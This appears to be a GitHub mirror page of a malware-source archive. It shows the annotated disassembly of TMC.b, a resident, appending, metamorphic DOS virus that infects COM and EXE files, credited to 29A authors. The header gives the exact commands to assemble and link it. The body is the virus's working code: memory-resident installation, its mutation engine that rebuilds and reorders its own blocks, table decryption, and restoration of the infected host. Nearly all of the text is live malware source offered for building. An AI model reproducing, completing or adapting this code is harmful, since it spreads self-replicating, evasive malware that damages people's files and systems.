mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
4285 lines
174 KiB
NASM
4285 lines
174 KiB
NASM
comment *
|
|
TMC.b ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
|
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
|
Super/29A and Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
|
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
|
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
|
|
|
TMC.b is a 4780 bytes resident appending COM and EXE virus. Infects at load
|
|
and/or execute program, rename file and open file. TMC.b has an error
|
|
handler, retro structures and is metamorphic in file and memory using Tiny
|
|
Mutation Compiler v 1.00 [TMC].
|
|
|
|
To compile TMC.b with Turbo Assembler v 5.0 type:
|
|
TASM /M TMC_B.ASM
|
|
TLINK /x TMC_B.OBJ
|
|
EXE2BIN TMC_B.EXE TMC_B.COM
|
|
*
|
|
|
|
.model tiny
|
|
.code
|
|
|
|
code_begin:
|
|
mov bp,100h ; BP = delta offset
|
|
|
|
cld ; Clear direction flag
|
|
mov ax,ds ; AX = segment of PSP for current ...
|
|
mov [bp+program_seg],ax ; Store segment of PSP for current...
|
|
|
|
dec ax ; AX = segment of current Memory C...
|
|
mov ds,ax ; DS = segment of current Memory C...
|
|
mov ax,ds:[03h] ; AX = size of memory block in par...
|
|
|
|
cmp ax,1900h ; Insufficient memory?
|
|
jae resize_mem ; Above or equal? Jump to resize_mem
|
|
|
|
jmp terminate
|
|
resize_mem:
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
mov [bp+mcb_size_],ax ; Store size of memory block in p...
|
|
|
|
mov bx,[bp+new_mcb_size]
|
|
mov ah,4ah ; Resize memory block
|
|
int 21h
|
|
jnc allocate_mem ; No error? Jump to allocate_mem
|
|
|
|
jmp terminate
|
|
allocate_mem:
|
|
mov ah,48h ; Allocate memory
|
|
|
|
mov bx,[bp+mcb_size_] ; BX = size of memory block in par...
|
|
sub bx,[bp+new_mcb_size]
|
|
dec bx ; BX = number of paragraphs to all...
|
|
cmp bx,0c00h ; Insufficient memory?
|
|
jae allocat_mem ; Above or equal? Jump to allocat_...
|
|
|
|
jmp terminate
|
|
allocat_mem:
|
|
int 21h
|
|
jnc initiali_tmc ; No error? Jump to initiali_tmc
|
|
|
|
jmp terminate
|
|
initiali_tmc:
|
|
mov es,ax ; ES = segment of allocated memory
|
|
mov es:[01h],0deadh ; Store 16-bit random number
|
|
mov word ptr es:[0ch],00h
|
|
mov es:[04h],1000h ; Store offset of block information
|
|
mov es:[06h],2000h ; Store offset of CALL; JMP; Jcc i...
|
|
mov es:[08h],3000h ; Store offset of data information
|
|
|
|
lea si,[bp+tmc_table] ; SI = offset of tmc_table
|
|
|
|
push si ; Save SI at stack
|
|
|
|
mov bx,4000h ; BX = offset of next virus genera...
|
|
|
|
jmp initial_tmc
|
|
initial_tmc:
|
|
mov di,10h ; DI = offset of table of blocks
|
|
xor ax,ax ; Zero AX
|
|
|
|
jmp tmc_ini_loop
|
|
tmc_ini_loop:
|
|
add si,ax ; SI = offset of block or instruct...
|
|
call decrypt_byte
|
|
or al,al ; End of table?
|
|
jz calc_blocks ; Zero? Jump to calc_blocks
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
cmp al,11101000b ; CALL; JMP; Data reference; Jcc?
|
|
jae exam_block ; Above or equal? Jump to exam_block
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
cmp al,10h ; Data?
|
|
jbe tmc_ini_loop ; Below or equal? Jump to tmc_ini_...
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
sub al,10h ; AL = length of data
|
|
|
|
jmp tmc_ini_loop
|
|
exam_block:
|
|
cmp al,11101111b ; End of block?
|
|
jne exam_block_ ; Not equal? Jump to exam_block_
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
mov al,00h ; Don't add anything to offset wit...
|
|
|
|
jmp tmc_ini_loop
|
|
exam_block_:
|
|
cmp al,11101110b ; Beginning of block?
|
|
jne next_byte ; Not equal? Jump to next_byte
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
mov ax,si ; AX = offset of block identification
|
|
dec ax ; AX = offset of block within table
|
|
stosw ; Store offset of block within table
|
|
|
|
mov ax,0ffffh ; Block is still in one part
|
|
stosw ; Store block identification
|
|
|
|
mov ax,02h ; Add two to offset within table
|
|
|
|
jmp tmc_ini_loop
|
|
next_byte:
|
|
mov al,02h ; Add two to offset within table
|
|
|
|
jmp tmc_ini_loop
|
|
calc_blocks:
|
|
lea ax,[di-10h] ; AX = number of blocks multiplied...
|
|
shr ax,01h ; Divide number of blocks by two
|
|
shr ax,01h ; Divide number of blocks by two
|
|
mov es:[0ah],ax ; Store number of blocks
|
|
|
|
xor ax,ax ; End of table
|
|
stosw ; Store end of table
|
|
|
|
mov di,10h ; DI = offset of table of blocks
|
|
mov si,es:[di] ; SI = offset of block within table
|
|
|
|
jmp exam_bloc
|
|
split_block:
|
|
push bp ; Save BP at stack
|
|
mov bp,es:[0ah] ; BP = number of blocks
|
|
call rnd_in_range
|
|
pop bp ; Load BP from stack
|
|
|
|
shl ax,01h ; Multiply random number with two
|
|
shl ax,01h ; Multiply random number with two
|
|
add ax,10h ; Add ten to random number
|
|
|
|
mov di,ax ; DI = random offset within table
|
|
|
|
jmp exam_nxt_blo
|
|
exam_nxt_blo:
|
|
add di,04h ; DI = offset of next offset withi...
|
|
|
|
mov si,es:[di] ; SI = offset of next block within...
|
|
or si,si ; End of table?
|
|
jnz exam_block__ ; Not zero? Jump to exam_block__
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
mov di,10h ; DI = offset of table of blocks
|
|
mov si,es:[di] ; SI = offset of block within table
|
|
|
|
jmp exam_block__
|
|
exam_block__:
|
|
push ax ; Save AX at stack
|
|
call decrypt_byte
|
|
dec si ; Decrease offset of block within ...
|
|
cmp al,11101111b ; End of block?
|
|
pop ax ; Load AX from stack
|
|
jne exam_bloc ; Not equal? Jump to exam_bloc
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
cmp di,ax ; End of table of blocks?
|
|
jne exam_nxt_blo ; Not equal? Jump to exam_nxt_blo
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
jmp exam_tbl_inf
|
|
exam_bloc:
|
|
mov ax,es:[di+02h] ; AX = block information
|
|
|
|
cmp ax,0ffffh ; Block is still in one part?
|
|
je exam_bloc_ ; Equal? Jump to exam_bloc_
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
push di ; Save DI at stack
|
|
mov di,ax ; DI = offset of end of first part...
|
|
mov al,11101001b ; JMP imm16 (opcode 0e9h)
|
|
stosb ; Store JMP imm16
|
|
|
|
mov ax,bx ; AX = offset within next virus ge...
|
|
dec ax ; Decrease offset within next viru...
|
|
dec ax ; Decrease offset within next viru...
|
|
sub ax,di ; Subtract offset of end of first ...
|
|
stosw ; Store 16-bit immediate
|
|
pop di ; Load DI from stack
|
|
|
|
jmp exam_bloc_
|
|
exam_bloc_:
|
|
call decrypt_byte
|
|
|
|
cmp al,11101111b ; End of block?
|
|
jne exam_bloc__ ; Not equal? Jump to exam_bloc__
|
|
|
|
jmp end_of_block
|
|
exam_bloc__:
|
|
cmp al,10h ; Data; CALL; JMP; Data reference...?
|
|
ja exam_bloc___ ; Above? Jump to exam_bloc___
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
push ax bp ; Save registers at stack
|
|
mov bp,[bp+probability] ; BP = probability
|
|
call rnd_in_range
|
|
or ax,ax ; Split up block?
|
|
pop bp ax ; Load registers from stack
|
|
jz split_block ; Zero? Jump to split_block_
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
jmp exam_bloc___
|
|
exam_bloc___:
|
|
cmp al,11101111b ; End of block?
|
|
jne exam_blo ; Not equal? Jump to exam_blo
|
|
|
|
jmp end_of_block
|
|
exam_blo:
|
|
cmp al,11101000b ; CALL; JMP; Data reference; Jcc?
|
|
jae exam_data ; Above or equal? Jump to exam_data
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
cmp al,10h ; Data?
|
|
jbe sto_instruct ; Below or equal? Jump to sto_inst...
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
sub al,10h ; AL = length of data
|
|
|
|
jmp sto_instruct
|
|
sto_instruct:
|
|
xor cx,cx ; Zero CX
|
|
mov cl,al ; CL = length of instruction
|
|
|
|
push di ; Save DI at stack
|
|
mov di,bx ; DI = offset within next virus ge...
|
|
|
|
jmp sto_ins_loop
|
|
sto_ins_loop:
|
|
call decrypt_byte
|
|
stosb ; Store byte of instruction
|
|
|
|
dec cx ; Decrease counter
|
|
jnz sto_ins_loop ; Not zero? Jump to sto_ins_loop
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
mov bx,di ; BX = offset within next virus ge...
|
|
pop di ; Load DI from stack
|
|
|
|
jmp exam_bloc_
|
|
exam_data:
|
|
cmp al,11101101b ; Data reference?
|
|
jne exam_blo_ ; Not equal? Jump to exam_blo_
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
push di ; Save DI at stack
|
|
mov di,es:[08h] ; DI = offset within data information
|
|
|
|
mov ax,bx ; AX = offset within next virus ge...
|
|
dec ax ; Decrease offset within next viru...
|
|
dec ax ; Decrease offset within next viru...
|
|
stosw ; Store offset within next virus g...
|
|
|
|
call decrypt_id
|
|
stosw ; Store block identification
|
|
|
|
mov es:[08h],di ; Store offset within data informa...
|
|
pop di ; Load DI from stack
|
|
|
|
jmp exam_bloc_
|
|
exam_blo_:
|
|
cmp al,11101110b ; Beginning of block?
|
|
jne sto_call_jmp ; Not equal? Jump to sto_call_jmp
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
push di ; Save DI at stack
|
|
mov di,es:[04h] ; DI = offset within block informa...
|
|
|
|
mov ax,bx ; AX = offset within next virus ge...
|
|
stosw ; Store offset within next virus ge...
|
|
|
|
call decrypt_id
|
|
stosw ; Store block identification
|
|
|
|
mov es:[04h],di ; Store offset within block inform...
|
|
|
|
cmp ax,4c5h ; Block identification of tmc_table?
|
|
jne exam_message ; Not equal? Jump to exam_message
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
push si ; Save SI at stack
|
|
mov di,bx ; DI = offset within next virus ge...
|
|
lea si,[bp+tmc_table] ; SI = offset of tmc_table
|
|
mov cx,(table_end-table_begin)
|
|
rep movsb ; Move table to top of memory
|
|
|
|
mov bx,di ; BX = offset within next virus ge...
|
|
pop si ; Load SI from stack
|
|
|
|
jmp examine_next
|
|
exam_message:
|
|
cmp ax,2328h ; Block identification of message?
|
|
jne exam_probabi ; Not equal? Jump to exam_probabi
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
mov ax,14h ; Probability of including message
|
|
cmp [bp+probability],ax ; Include message?
|
|
jae examine_next ; Above or equal? Jump to examine_...
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
call decrypt_byte
|
|
sub al,10h ; AL = length of message
|
|
mov ah,00h ; Zero AH
|
|
add si,ax ; SI = offset of end of message
|
|
|
|
jmp examine_next
|
|
exam_probabi:
|
|
cmp ax,0bech ; Block identification of probabi...?
|
|
jne examine_next ; Not equal? Jump to examine_next
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
mov ax,[bp+probability] ; AX = probability
|
|
dec ax ; Decrease probability
|
|
cmp ax,05h ; Probability too small?
|
|
jae store_probab ; Above or equal? Jump to store_pr...
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
mov ax,64h ; Reset probability
|
|
|
|
jmp store_probab
|
|
store_probab:
|
|
mov es:[bx],ax ; Store probability
|
|
|
|
add bx,02h ; Add two to offset within next vi...
|
|
add si,03h ; SI = offset of beginning of next...
|
|
|
|
jmp examine_next
|
|
examine_next:
|
|
pop di ; Load DI from stack
|
|
|
|
call decrypt_byte
|
|
|
|
jmp exam_bloc___
|
|
sto_call_jmp:
|
|
push ax di ; Save registers at stack
|
|
mov di,es:[06h] ; DI = offset within CALL; JMP; Jc...
|
|
mov ax,bx ; AX = offset within next virus ge...
|
|
stosw ; Store offset within next virus g...
|
|
|
|
call decrypt_id
|
|
stosw ; Store block identification
|
|
|
|
mov es:[06h],di ; Store offset within CALL; JMP; J...
|
|
pop di ax ; Load registers from stack
|
|
|
|
mov es:[bx],al ; Store CALL imm16; JMP imm16; Jcc...
|
|
|
|
add bx,03h ; Add three to offset within next ...
|
|
|
|
cmp al,11110000b ; Jump condition?
|
|
jae jcc_imm8 ; Above or equal? Jump to jcc_imm8
|
|
|
|
jmp exam_bloc_
|
|
jcc_imm8:
|
|
inc bx ; Increase offset within next viru...
|
|
inc bx ; Increase offset within next viru...
|
|
|
|
jmp exam_bloc_
|
|
split_block_:
|
|
mov es:[di+02h],bx ; Store offset within next virus g...
|
|
|
|
add bx,03h ; Add three to offset within next ...
|
|
|
|
jmp end_of_block
|
|
end_of_block:
|
|
dec si ; Decrease offset of block within ...
|
|
|
|
mov es:[di],si ; Store offset of block within table
|
|
|
|
jmp split_block
|
|
exam_tbl_inf:
|
|
cmp word ptr es:[0ch],00h
|
|
jne correct_i16 ; End of second table? Jump to cor...
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
pop si ; Load SI from stack
|
|
|
|
mov es:[0ch],bx ; Store offset within next virus g...
|
|
|
|
add si,(second_table-first_table)
|
|
|
|
jmp initial_tmc
|
|
correct_i16:
|
|
push es ; Save ES at stack
|
|
pop ds ; Load DS from stack (ES)
|
|
|
|
sub bx,4000h ; Subtract offset of next virus ge...
|
|
mov ds:[0eh],bx ; Store length of virus
|
|
|
|
mov si,2000h ; SI = offset of CALL; JMP; Jcc im...
|
|
mov cx,ds:[06h] ; CX = offset of end of CALL; JMP;...
|
|
sub cx,si ; Subtract offset of CALL; JMP; Jc...
|
|
|
|
shr cx,01h ; Divide number of CALL imm16; JMP...
|
|
shr cx,01h ; Divide number of CALL imm16; JMP...
|
|
|
|
jmp jmp_call_loo
|
|
jmp_call_loo:
|
|
lodsw ; AX = offset of block within data...
|
|
push ax ; Save AX at stack
|
|
|
|
lodsw ; AX = offset of block within data...
|
|
|
|
push cx si ; Save registers at stack
|
|
mov si,1000h ; SI = offset of block information
|
|
mov cx,ds:[04h] ; CX = offset of end of block info...
|
|
sub cx,si ; Subtract offset of block informa...
|
|
|
|
shr cx,01h ; Divide number of block by two
|
|
shr cx,01h ; Divide number of block by two
|
|
|
|
jmp find_block
|
|
find_block:
|
|
cmp ax,[si+02h] ; Found block?
|
|
je found_block ; Equal? Jump to found_block
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
add si,04h ; SI = offset of next block in table
|
|
|
|
dec cx ; Decrease counter
|
|
jnz find_block ; Not zero? Jump to find_block
|
|
nop
|
|
nop
|
|
nop
|
|
found_block:
|
|
mov dx,[si] ; DX = offset of block
|
|
|
|
pop si cx ; Load registers from stack
|
|
pop bx ; Load BX from stack (AX)
|
|
|
|
mov al,[bx] ; AL = first byte of instruction
|
|
cmp al,11110000b ; Jump condition?
|
|
jb sto_call_jm ; Below? Jump to sto_call_jm
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
sub byte ptr [bx],10000000b
|
|
|
|
inc bx ; BX = offset of 8-bit immediate
|
|
|
|
push dx ; Save DX at stack
|
|
sub dx,bx ; Subtract offset within next viru...
|
|
dec dx ; Decrease 8-bit immediate
|
|
|
|
cmp dx,7fh ; 8-bit immediate out of range?
|
|
jg invert_jcc ; Greater? Jump to invert_jcc
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
cmp dx,0ff80h ; 8-bit immediate out of range?
|
|
jl invert_jcc ; Less? Jump to invert_jcc
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
mov [bx],dl ; Store 8-bit immediate
|
|
inc bx ; BX = offset of end of Jcc imm8
|
|
|
|
mov [bx],1001000010010000b
|
|
mov byte ptr [bx+02h],10010000b
|
|
pop dx ; Load DX from stack
|
|
|
|
jmp correct_i16_
|
|
invert_jcc:
|
|
pop dx ; Load DX from stack
|
|
|
|
dec bx ; BX = offset of Jcc imm8
|
|
xor byte ptr [bx],00000001b
|
|
|
|
inc bx ; BX = offset of 8-bit immediate
|
|
mov byte ptr [bx],03h ; Store 8-bit immediate
|
|
|
|
inc bx ; BX = offset of JMP imm16
|
|
mov al,11101001b ; JMP imm16 (opcode 0e9h)
|
|
|
|
jmp sto_call_jm
|
|
sto_call_jm:
|
|
mov [bx],al ; Store CALL imm16; JMP imm16
|
|
|
|
inc bx ; BX = offset of 16-bit immediate
|
|
sub dx,bx ; Subtract offset within next viru...
|
|
|
|
dec dx ; Decrease 16-bit immediate
|
|
dec dx ; Decrease 16-bit immediate
|
|
|
|
mov [bx],dx ; Store 16-bit immediate
|
|
|
|
jmp correct_i16_
|
|
correct_i16_:
|
|
dec cx ; Decrease counter
|
|
jnz jmp_call_loo ; Not zero? Jump to jmp_call_loo
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
mov si,3000h ; SI = offset of data information
|
|
mov cx,ds:[08h] ; CX = offset of end of data infor...
|
|
sub cx,si ; Subtract offset of data informat...
|
|
|
|
shr cx,01h ; Divide number of data references...
|
|
shr cx,01h ; Divide number of data references...
|
|
|
|
jmp data_ref_loo
|
|
data_ref_loo:
|
|
lodsw ; AX = offset of block within data...
|
|
push ax ; Save AX at stack
|
|
|
|
lodsw ; AX = offset of block within data...
|
|
|
|
push cx si ; Save registers at stack
|
|
mov si,1000h ; SI = offset of block information
|
|
mov cx,ds:[04h] ; CX = offset of end of block info...
|
|
sub cx,si ; Subtract offset of block informa...
|
|
|
|
shr cx,01h ; Divide number of block by two
|
|
shr cx,01h ; Divide number of block by two
|
|
|
|
jmp find_block_
|
|
find_block_:
|
|
cmp ax,[si+02h] ; Found block?
|
|
je found_block_ ; Equal? Jump to found_block_
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
add si,04h ; SI = offset of next block in table
|
|
|
|
dec cx ; Decrease counter
|
|
jnz find_block_ ; Not zero? Jump to find_block_
|
|
nop
|
|
nop
|
|
nop
|
|
found_block_:
|
|
mov ax,[si] ; AX = offset of block
|
|
pop si cx ; Load registers from stack
|
|
pop bx ; Load BX from stack (AX)
|
|
|
|
sub ax,4000h ; Subtract offset of next virus ge...
|
|
mov [bx],ax ; Store 16-bit immediate
|
|
|
|
dec cx ; Decrease counter
|
|
jnz data_ref_loo ; Not zero? Jump to data_ref_loo
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
jmp restore_code
|
|
restore_code:
|
|
mov ax,[bp+program_seg] ; AX = segment of PSP for current ...
|
|
|
|
mov cx,[bp+initial_ss] ; CX = initial SS relative to star...
|
|
add cx,10h ; Add ten to initial SS relative t...
|
|
add cx,ax ; Add segment of PSP for current p...
|
|
push cx ; Save CX at stack
|
|
|
|
push [bp+initial_sp] ; Save initial SP at stack
|
|
|
|
mov cx,[bp+initial_cs] ; CX = initial CS relative to star...
|
|
add cx,10h ; Add ten to initial CS relative t...
|
|
add cx,ax ; Add segment of PSP for current p...
|
|
push cx ; Save CX at stack
|
|
|
|
push [bp+initial_ip] ; Save initial IP at stack
|
|
|
|
push ax ; Save segment of PSP for current ...
|
|
push [bp+mcb_size] ; Save size of memory block in par...
|
|
push ds ; Save DS at stack
|
|
|
|
mov cl,00h ; COM executable
|
|
cmp [bp+executa_stat],cl
|
|
jne move_virus ; COM executable? Jump to move_virus
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
lea si,[bp+origin_code] ; SI = offset of origin_code
|
|
|
|
mov ax,cs:[si] ; AX = first two bytes of original...
|
|
mov cs:[100h],ax ; Store first two bytes of origina...
|
|
|
|
mov al,cs:[si+02h] ; AL = last byte of original code ...
|
|
mov cs:[100h+02h],al ; Store last byte of original code...
|
|
|
|
jmp move_virus
|
|
|
|
mov ax,[bp+program_seg] ; AX = segment of PSP for current ...
|
|
|
|
mov cx,[bp+initial_ss] ; CX = initial SS relative to star...
|
|
add cx,10h ; Add ten to initial SS relative t...
|
|
add cx,ax ; Add segment of PSP for current p...
|
|
push cx ; Save CX at stack
|
|
|
|
push [bp+initial_sp] ; Save initial SP at stack
|
|
|
|
mov cx,[bp+initial_cs] ; CX = initial CS relative to star...
|
|
add cx,10h ; Add ten to initial CS relative t...
|
|
add cx,ax ; Add segment of PSP for current p...
|
|
push cx ; Save CX at stack
|
|
|
|
push [bp+incorrect_ip] ; Save incorrect IP at stack
|
|
|
|
push ax ; Save segment of PSP for current ...
|
|
push [bp+mcb_size] ; Save size of memory block in par...
|
|
push ds ; Save DS at stack
|
|
|
|
mov cl,00h ; COM executable
|
|
cmp [bp+executa_stat],cl
|
|
jne move_virus ; COM executable? Jump to move_virus
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
lea si,[bp+origin_code] ; SI = offset of origin_code
|
|
|
|
mov ax,cs:[si] ; AX = first two bytes of original...
|
|
mov cs:[100h],ax ; Store first two bytes of origina...
|
|
|
|
mov al,cs:[si+02h] ; AL = last byte of original code ...
|
|
mov cs:[100h+02h],al ; Store last byte of original code...
|
|
|
|
jmp move_virus
|
|
move_virus:
|
|
xor ax,ax ; Zero AX
|
|
mov ds,ax ; DS = segment of DOS communicatio...
|
|
|
|
cmp byte ptr ds:[501h],10h
|
|
jne move_virus_ ; Already resident? Jump to move_v...
|
|
|
|
jmp virus_exit
|
|
move_virus_:
|
|
mov byte ptr ds:[501h],10h
|
|
|
|
push es ; Save ES at stack
|
|
pop ds ; Load DS from stack (ES)
|
|
|
|
mov ax,ds:[0ch] ; AX = offset within next virus ge...
|
|
sub ax,4000h ; Subtract offset of next virus ge...
|
|
mov [bp+vir_exit_off],ax
|
|
|
|
mov cx,ds:[0eh] ; CX = length of virus
|
|
mov [bp+virus_length],cx
|
|
|
|
mov si,4000h ; SI = offset of next virus genera...
|
|
xor di,di ; Zero DI
|
|
rep movsb ; Move virus to top of memory
|
|
|
|
mov cl,04h ; Divide by paragraphs
|
|
shr di,cl ; DI = length of next virus genera...
|
|
inc di ; Increase length of next virus ge...
|
|
|
|
mov bx,[bp+mcb_size_] ; BX = size of memory block in par...
|
|
sub bx,[bp+new_mcb_size]
|
|
sub bx,di ; Subtract length of next virus ge...
|
|
|
|
dec bx ; Decrease new size in paragraphs
|
|
dec bx ; Decrease new size in paragraphs
|
|
|
|
cmp bx,di ; Insufficient memory?
|
|
jae resize_mem_ ; Above or equal? Jump to resize_mem_
|
|
|
|
jmp virus_exit
|
|
resize_mem_:
|
|
mov ah,4ah ; Resize memory block
|
|
int 21h
|
|
jnc allocat_mem_ ; No error? Jump to allocat_mem_
|
|
|
|
jmp virus_exit
|
|
allocat_mem_:
|
|
mov bx,di ; BX = number of paragraphs to all...
|
|
mov ah,48h ; Allocate memory
|
|
int 21h
|
|
jc virus_exit ; Error? Jump to virus_exit
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
push ax ; Save AX at stack
|
|
dec ax ; AX = segment of current Memory C...
|
|
mov es,ax ; ES = segment of current Memory C...
|
|
mov word ptr es:[01h],08h
|
|
pop es ; Load ES from stack (AX)
|
|
|
|
mov cx,[bp+virus_length]
|
|
xor si,si ; Zero SI
|
|
xor di,di ; Zero DI
|
|
rep movsb ; Move virus to top of memory
|
|
|
|
push es ; Save ES at stack
|
|
push word ptr [bp+vir_exit_off]
|
|
|
|
mov al,[bp+crypt_key] ; AL = 8-bit encryption/decryption...
|
|
mov ah,byte ptr [bp+sliding_key]
|
|
|
|
retf ; Return far
|
|
terminate:
|
|
mov ax,4c00h ; Terminate with return code
|
|
int 21h
|
|
|
|
get_rnd_num proc near ; Get 16-bit random number
|
|
push cx ; Save CX at stack
|
|
in al,40h ; AL = 8-bit random number
|
|
mov ah,al ; AH = 8-bit random number
|
|
in al,40h ; AL = 8-bit random number
|
|
|
|
xor ax,es:[01h] ; AX = 16-bit random number
|
|
|
|
mov cl,ah ; CL = high-order byte of 16-bit r...
|
|
rol ax,cl ; AX = 16-bit random number
|
|
|
|
mov es:[01h],ax ; Store 16-bit random number
|
|
pop cx ; Load CX from stack
|
|
|
|
ret ; Return
|
|
endp
|
|
|
|
rnd_in_range proc near ; Random number within range
|
|
or bp,bp ; Zero BP?
|
|
jz zero_range ; Zero? Jump to zero_range
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
push dx ; Save DX at stack
|
|
call get_rnd_num
|
|
|
|
xor dx,dx ; Zero DX
|
|
div bp ; DX = random number within range
|
|
|
|
xchg ax,dx ; AX = random number within range
|
|
pop dx ; Load DX from stack
|
|
|
|
ret ; Return
|
|
zero_range:
|
|
xor ax,ax ; AX = random number within range
|
|
|
|
ret ; Return
|
|
endp
|
|
|
|
decrypt_byte proc near ; Decrypt byte of table
|
|
mov [bp+ah_],ah ; Store AH
|
|
|
|
mov ax,si ; AX = offset within table
|
|
sub ax,bp ; Subtract delta offset from offse...
|
|
sub ax,offset tmc_table ; Subtract offset of tmc_table fro...
|
|
|
|
mul word ptr [bp+sliding_key]
|
|
add al,[bp+crypt_key] ; AL = 8-bit encryption/decryption...
|
|
|
|
xor al,[si] ; AL = byte of decrypted table
|
|
|
|
mov ah,[bp+ah_] ; AH = stored AH
|
|
|
|
inc si ; Increase offset within table
|
|
|
|
ret ; Return
|
|
endp
|
|
|
|
decrypt_id proc near ; Decrypt block identification in ...
|
|
call decrypt_byte
|
|
mov ah,al ; AL = byte of decrypted table
|
|
|
|
call decrypt_byte
|
|
xchg al,ah ; AL = byte of decrypted table
|
|
|
|
ret ; Return
|
|
endp
|
|
virus_exit:
|
|
pop es ; Load ES from stack
|
|
|
|
mov ah,49h ; Free memory
|
|
int 21h
|
|
pop bx ; Load BX from stack
|
|
|
|
pop ax ; Load AX from stack
|
|
mov ds,ax ; DS = segment of PSP for current ...
|
|
mov es,ax ; DS = segment of PSP for current ...
|
|
|
|
mov ah,4ah ; Resize memory block
|
|
int 21h
|
|
|
|
lea bx,[bp+jmp_imm32] ; BX = offset of jmp_imm32
|
|
|
|
pop ax ; Load AX from stack (initial IP)
|
|
mov cs:[bx+01h],ax ; Store initial IP
|
|
|
|
pop ax ; Load AX from stack (initial CS ...)
|
|
mov cs:[bx+03h],ax ; Store initial CS relative to sta...
|
|
|
|
pop ax ; Load AX from stack (initial SP)
|
|
pop ss ; Load SS from stack (initial SS ...)
|
|
|
|
mov sp,ax ; SP = stack pointer
|
|
|
|
jmp jmp_imm32
|
|
|
|
jmp_imm32 equ $ ; Offset of JMP imm32 (opcode 0eah)
|
|
db 11101010b ; JMP imm32 (opcode 0eah)
|
|
dd 00h ; Pointer to virus in top of memory
|
|
ah_ db 00h ; Accumulator register (high-orde...)
|
|
probability dw 32h ; Probability
|
|
crypt_key db 00h ; 8-bit encryption/decryption key
|
|
sliding_key dw 00h ; 8-bit sliding encryption/decrypt...
|
|
executa_stat db 00h ; Executable status
|
|
origin_code db 11000011b,02h dup(00h)
|
|
initial_cs dw 0fff0h ; Initial CS relative to start of ...
|
|
initial_ss dw 0fff0h ; Initial SS relative to start of ...
|
|
initial_ip dw 100h ; Initial IP
|
|
incorrect_ip dw 100h ; Incorrect IP
|
|
initial_sp dw 0fffeh ; Initial SP
|
|
new_mcb_size dw 1000h ; New size in paragraphs
|
|
mcb_size dw 0ffffh ; Size of memory block in paragraphs
|
|
mcb_size_ dw 00h ; Size of memory block in paragraphs
|
|
program_seg dw 00h ; Segment of PSP for current process
|
|
virus_length dw 00h ; Length of virus
|
|
vir_exit_off dw 00h ; Offset of virus_exit
|
|
table_begin:
|
|
first_table:
|
|
tmc_table db 11101111b ; End of block
|
|
db 11101110b ; Beginning of block
|
|
dw 00h ; Block identification of tmc_table
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov bp,1234h ; BP = delta offset
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
cld ; Clear direction flag
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ax,ds ; AX = segment of PSP for current ...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [bp+1234h],ax ; Store segment of PSP for current...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0befh ; Pointer to program_seg_
|
|
db 01h ; One byte instruction
|
|
|
|
dec ax ; AX = segment of current Memory C...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ds,ax ; DS = segment of current Memory C...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,ds:[03h] ; AX = size of memory block in par...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,1900h ; Insufficient memory?
|
|
|
|
db 01110010b+10000000b ; Below? Jump to terminate_
|
|
dw 0beeh ; Pointer to terminate_
|
|
db 01h ; One byte instruction
|
|
|
|
push cs ; Save CS at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [bp+1234h],ax ; Store size of memory block in p...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1394h ; Pointer to mcb_size___
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov bx,[bp+1234h] ; BX = new size in paragraphs
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1393h ; Pointer to new_mcb_siz
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,4ah ; Resize memory block
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to terminate_
|
|
dw 0beeh ; Pointer to terminate_
|
|
db 02h ; Two bytes instruction
